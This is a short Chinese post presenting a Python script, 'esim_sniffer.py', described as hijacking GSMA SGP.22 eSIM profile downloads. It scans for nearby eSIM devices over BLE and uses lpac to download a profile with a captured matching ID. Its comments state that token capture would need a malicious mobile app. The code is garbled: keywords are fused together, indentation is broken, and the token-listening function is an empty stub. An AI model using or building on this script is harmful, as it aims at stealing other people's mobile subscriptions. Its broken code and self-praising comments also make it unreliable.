GSMA SGP.22 的 OTA 下载会话劫持

#!/usr/bin/env python3
# esim_sniffer.py — 自动化嗅探 AC Token 并触发劫持
# 这段代码写的太好了，太!太!太!正!

import asyncio
import aiohttp
import re
from bleak import BleakScanner

# 模拟通过 BLE 扫描附近的 LPA 广播
asyncdefscan_lpa():
    scanner = BleakScanner()
asyncwith scanner as s:
await asyncio.sleep(5)
for d in s.discovered_devices:
# 检查是否有 eSIM 相关服务
if d.name and"eSIM"in d.name:
                print(f"[+] 发现 eSIM 设备: {d.address}")

# 监听推送通知中的 AC Token
asyncdeflisten_push():
# 此处为伪代码，实际需配合移动端恶意应用
pass

# 自动调用 lpac 劫持
asyncdefhijack(smdp, matching_id):
    cmd = f"./lpac profile download --chip pcsc --smdp {smdp} --matching-id {matching_id}"
    proc = await asyncio.create_subprocess_shell(cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
    stdout, stderr = await proc.communicate()
if proc.returncode == 0:
        print(f"[!] 成功劫持配置文件: {matching_id}")
else:
        print(f"[-] 劫持失败: {matching_id}")

asyncdefmain():
await asyncio.gather(scan_lpa(), listen_push())

if __name__ == "__main__":
    asyncio.run(main())